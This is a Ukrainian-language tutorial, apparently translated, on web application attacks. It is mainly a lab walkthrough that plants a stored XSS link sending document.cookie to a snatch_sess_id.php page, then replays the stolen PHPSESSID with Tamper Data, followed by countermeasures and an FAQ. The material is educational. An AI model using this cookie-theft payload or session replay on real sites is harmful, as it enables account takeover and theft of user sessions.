Як зламати веб-сайт? Методи злому сайтів

⚡ Розумний підсумок

Злом веб-сайтів використовує слабкі місця у веб-застосунках — погано написаний код, неочищені дані вводу та слабку обробку сеансів — для отримання несанкціонованого доступу. На цій сторінці демонструються поширені методи атаки та, що ще важливіше, контрзаходи, які забезпечують безпеку веб-сайту.

  • 🌐 Target: Веб-застосунки приймають введені користувачем дані через Інтернет, піддаючи будь-яке неперевірене поле атаці.
  • ???? Техніка: SQL-ін'єкції, міжсайтовий скриптинг, отруєння сеансів, підробка форм та ін'єкція коду очолюють список.
  • 🍪 Викрадення сесії: Викрадений ідентифікатор сесії дозволяє зловмиснику видавати себе за зареєстрованого користувача без пароля.
  • 🛡️ Захист: Перевірка вхідних даних, параметризовані запити та зашифровані сесійні файли cookie заповнюють загальні прогалини.
  • 🎯 Стандарт: У топ-10 OWASP визначено веб-вразливості, на які повинен протестувати кожен розробник.
  • 🤖 Сучасний край: Брандмауери на базі штучного інтелекту вивчають звичайний трафік і позначають спроби впровадження в режимі реального часу.

Як зламати сайт

Більше людей мають доступ до Інтернету, ніж будь-коли раніше. Це спонукало багато організацій до розробки веб-додатків, які користувачі можуть використовувати онлайн для взаємодії з організацією. Погано написаний код веб-додатків можна використати для отримання несанкціонованого доступу до конфіденційних даних і веб-серверів.

Ви дізнаєтеся про поширені методи злому веб-сайтів та контрзаходи, що захищають від таких атак.

Як зламати сайт

У цьому практичному сценарії злому веб-сайту ми збираємося викрасти сеанс користувача веб-додатку, розташованого за адресою www.techpanda.orgМи використовуватимемо міжсайтовий скриптинг для зчитування ідентифікатора сеансу cookie, а потім використаємо його для імітації сеансу легітимного користувача.

Припускається, що зловмисник має доступ до веб-застосунку та хоче захопити сеанси інших користувачів, які використовують той самий застосунок. Метою цієї атаки може бути отримання адміністративного доступу до веб-застосунку, якщо припустити, що обліковий запис зловмисника має обмежений доступ.

Крок 1) Відкрийте URL http://www.techpanda.org/.

Для практичної роботи наполегливо рекомендується отримувати доступ за допомогою SQL-ін'єкції. Див. ця стаття про SQL-ін'єкції щоб дізнатися більше про те, як це зробити.

Крок 2) Введіть дані для входу.

Електронна адреса для входу — admin@google.com, а пароль — Password2010.

Крок 3) Перевірте панель приладів.

Якщо ви успішно ввійшли в систему, то отримаєте наступну панель інструментів.

Панель керування Techpanda відображається після успішного входу

Крок 4) Введіть новий вміст.

Натисніть кнопку «Додати новий контакт» і введіть наступне ім’я:

<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>

Крок 5) Додати JavaСценарій.

Наведений вище код використовує JavaСкрипт. Він додає гіперпосилання з подією onclick. Коли нічого не підозрюючий користувач натискає на посилання, подія отримує Ідентифікатор сеансу файлів cookie PHP і надсилає його на сторінку snatch_sess_id.php разом з ідентифікатором сеансу в URL.

Додати нову контактну форму зі шкідливим скриптом, введеним у поле імені

Крок 6) Додайте деталі.

Введіть решту даних, як показано нижче, та натисніть кнопку «Зберегти зміни».

Заповнена контактна форма готова до збереження в базі даних

Крок 7) Перевірте панель приладів.

Ваша інформаційна панель тепер виглядатиме як на наступному екрані.

Панель керування контактами, на якій зображено збережений запис із гіперпосиланням Dark

Крок 8) Перевірте ідентифікатор сеансу.

Оскільки міжсайтовий скрипт зберігається в базі даних, він завантажується щоразу, коли користувачі з правами доступу входять до системи. Коли адміністратор входить до системи та натискає гіперпосилання з написом «Темний», він отримує вікно з ідентифікатором сеансу, що відображається в URL.

Вікно браузера, що показує записаний ідентифікатор сеансу, переданий у URL

Примітка: скрипт може надіслати значення на віддалений сервер, де зберігається PHPSESSID, а потім перенаправити користувача назад, ніби нічого не сталося.

Примітка: отримане вами значення може відрізнятися від показаного тут, але концепція та сама.

Використання імітації сеансу Firefox і додаток Tamper Data

Примітка: класичне доповнення Tamper Data, показане нижче, більше не встановлюється на поточну Firefox, але концепція, яку він ілюструє — перехоплення та зміна HTTP-запиту для відтворення захопленого сеансу — залишається незмінною.

Блок-схема нижче показує кроки, які ви повинні виконати, щоб виконати цю вправу.

Блок-схема кроків вправи з імітації сеансу

  • Вам знадобиться Firefox веббраузер для цього розділу та доповнення Tamper Data.
  • відкритий Firefox та встановіть доповнення, як показано на схемах нижче.

Firefox менеджер доповнень, який використовується для пошуку доповнення Tamper Data

Дані про втручання, зазначені в Firefox результати пошуку додаткових елементів

  • Знайдіть дані про втручання, а потім натисніть «Встановити», як показано вище.

Діалогове вікно дозволів на встановлення додатків із кнопкою «Прийняти та встановити»

  • Натисніть Прийняти та встановити…

Firefox запит на перезапуск браузера після встановлення доповнення

Firefox рядок меню ввімкнено, щоб меню «Інструменти» було видимим

  • Натисніть кнопку «Перезавантажити зараз», коли інсталяція завершиться.
  • Увімкніть рядок меню Firefox якщо його не показано.

Меню «Інструменти» відкрито з вибраною опцією «Дані про втручання»

  • Клацніть меню «Інструменти», потім виберіть «Дані про втручання», як показано нижче.

Очистіть вікно даних про втручання перед записом запитів

  • Ви отримаєте наступне вікно. Примітка: Якщо вікно не порожнє, натисніть кнопку «Очистити».

Спливаюче вікно з підказкою щодо втручання в дані вихідного запиту

  • Натисніть меню «Почати втручання».
  • Перемкніться назад до Firefox У веббраузері введіть http://www.techpanda.org/dashboard.php, а потім натисніть клавішу Enter, щоб завантажити сторінку.
  • Ви отримаєте наступне спливаюче вікно від Tamper Data.

Спливаюче вікно «Втручання» з опціями «Втручання», «Надіслати» та «Переірвати»

  • Спливаюче вікно має три (3) опції. Опція «Змінити» дозволяє змінити інформацію HTTP-заголовка перед її надсиланням на сервер.
  • Натисніть на нього.
  • Ви отримаєте таке вікно.

Редактор заголовка запиту, де можна замінити значення cookie

  • Скопіюйте ідентифікатор сеансу PHP, який ви скопіювали під час атаки URL і вставте його після знака рівності. Ваше значення тепер має виглядати ось так.
PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2
  • Натисніть кнопку ОК.
  • Ви знову отримаєте спливаюче вікно «Дані про несанкціоноване втручання».

Спливаюче вікно «Дані про втручання» з’являється знову з прапорцем «Продовжити втручання»

  • Зніміть прапорець із запитом Продовжити втручання?
  • Натисніть кнопку «Надіслати», коли закінчите.
  • Ви повинні побачити панель інструментів, як показано нижче.

Панель керування Techpanda доступна шляхом повторного відтворення записаного сеансу

Примітка: ми не входили в систему; ми імітували сеанс входу, використовуючи значення PHPSESSID, яке ми отримали за допомогою міжсайтового скриптингу.

Що таке веб-додаток? Що таке веб-загрози?

Веб-застосунок (або веб-сайт) – це застосунок, що базується на клієнт-серверній моделі. Сервер забезпечує доступ до бази даних та бізнес-логіку. Він розміщений на веб-сервері. Клієнтський застосунок працює у веб-браузері клієнта. Веб-застосунки зазвичай пишуться такими мовами, як Java, C#, VB.Net, PHP, та мова розмітки ColdFusion тощо. Механізми баз даних, що використовуються у веб-застосунках, включають MySQL, MS SQL Server, PostgreSQL, SQLite, І т.д.

Найкращі методи злому веб-сайтів

Більшість вебзастосунків розміщені на публічних сервери доступні через Інтернет. Це робить їх вразливими до атак через легкий доступ. Нижче наведено поширені загрози для веб-застосунків.

  • SQL-ін'єкція – метою цієї загрози може бути обхід алгоритмів входу, саботування даних тощо.
  • Відмова в обслуговуванні нападки – метою цієї загрози може бути позбавлення законних користувачів доступу до ресурсу.
  • Міжсайтовий сценарій (XSS) – метою цієї загрози може бути впровадження коду, який можна виконати в браузері на стороні клієнта.
  • Отруєння файлами cookie/сеансом – метою цієї загрози є зміна файлів cookie/даних сеансу зловмисником для отримання несанкціонованого доступу.
  • Фальсифікація форми – мета цієї загрози – змінити дані форми, такі як ціни в програмах електронної комерції, щоб зловмисник міг отримати товари за зниженими цінами.
  • Code Вприск – метою цієї загрози є впровадження такого коду, як PHP, Pythonтощо, які можна виконати на сервері. Код може встановлювати бекдори, розкривати конфіденційну інформацію тощо.
  • Псування – метою цієї загрози є зміна сторінки, що відображається на веб-сайті, та перенаправлення всіх запитів сторінки на одну сторінку, яка містить повідомлення зловмисника.

Як захистити свій сайт від злому?

Організація може прийняти наступну політику, щоб захистити себе від атак на веб-сервер.

  • SQL-ін'єкція – очищення та перевірка параметрів користувача перед їх надсиланням до бази даних для обробки може допомогти зменшити ймовірність атаки за допомогою SQL-ін'єкції. Двигуни баз даних, такі як MS SQL Server, MySQLтощо підтримують параметри та підготовлені оператори. Вони набагато безпечніші, ніж традиційні SQL-оператори.
  • Відмова в обслуговуванні атак – брандмауери можна використовувати для скидання трафіку з підозрілих IP-адрес, якщо атака є простою DoS-атакою. Правильна конфігурація мереж та система виявлення вторгнень також можуть допомогти зменшити ймовірність успіху DoS-атаки.
  • Перехресні сценарії – перевірка та очищення заголовків, параметрів, що передаються через URL, параметри форми та приховані значення можуть допомогти зменшити кількість XSS-атак.
  • Отруєння файлами cookie/сеансом – цьому можна запобігти, зашифрувавши вміст файлів cookie, зупинивши дію файлів cookie через певний час та пов’язавши файли cookie з IP-адресою клієнта, яка була використана для їх створення.
  • Фальсифікація форми – цього можна запобігти, перевіряючи та перевіряючи введені користувачем дані перед їх обробкою.
  • Code Вприск – цього можна запобігти, розглядаючи всі параметри як дані, а не як виконуваний код. Для реалізації цього можна використовувати санітарну обробку та валідацію.
  • Псування – хороший безпека веб-додатків Політика повинна гарантувати, що вона закриває поширені вразливості для доступу до веб-сервера. Це може бути правильна конфігурація операційної системи, програмного забезпечення веб-сервера та найкращі практики безпеки під час розробки.ping веб-додатків.

Перевір це: 9 найкраще URL Сканери для перевірки безпеки посилання від шкідливого програмного забезпечення

Поширені запитання

Тільки з письмового дозволу власника. Тестування сайту, яким ви не володієте або не маєте дозволу на його оцінку, є незаконним згідно із такими законами, як Закон США про комп’ютерне шахрайство та зловживання. Дозволені умови визначають межі винагороди за виявлені помилки.

Звертайте увагу на пошкоджені сторінки, неочікуваних нових користувачів-адміністраторів, незнайомі файли чи скрипти, перенаправлення на спам-сайти та різке збільшення трафіку. Моніторинг цілісності файлів, перевірка журналів сервера та сканер шкідливих програм виявляють більшість компрометацій на ранній стадії.

Топ-10 OWASP – це список найкритичніших ризиків безпеки вебзастосунків, який підтримується спільнотою. У виданні 2025 року на перше місце посідають проблеми з порушенням контролю доступу, далі йдуть неправильна конфігурація безпеки та збої в ланцюжку постачання програмного забезпечення.

WAF перевіряє вхідний HTTP-трафік і блокує відомі шаблони атак, такі як SQL-ін'єкції та міжсайтовий скриптинг, перш ніж вони досягнуть програми. Він пропонує віртуальне встановлення патчів, але не замінює безпечний код.

Брандмауери на базі штучного інтелекту вивчають звичайний трафік сайту, а потім у режимі реального часу позначають аномалії, такі як спроби впровадження, заповнення облікових даних та зловживання ботами. Моделі машинного навчання виявляють шаблони нульового дня, які пропускають статичні правила, з меншою кількістю хибнопозитивних результатів.

Помічники зі штучним інтелектом, такі як Копілот GitHub пришвидшують написання перевірки вхідних даних та параметризованих запитів, але вони також можуть пропонувати небезпечні шаблони. Розглядайте кожну пропозицію як чернетку та нехай людина перевірить її перед розгортанням.

Популярні варіанти включають CEH, OSCP та CompTIA Security+, тоді як CISSP охоплює архітектуру безпеки в широкому сенсі. Вони перевіряють оцінку вразливостей, безпечну конфігурацію та навички захисту, яких роботодавці очікують від посад у сфері веб-безпеки.

Сканування вразливостей автоматизоване та швидко відображає відомі слабкі місця, не використовуючи їх. Тестування на проникнення – це переважно ручна робота, під час якої тестувальники активно використовують недоліки, щоб показати реальний вплив. Сканування пропонує широту охоплення; тестування ручкою пропонує глибину.

Підсумуйте цей пост за допомогою: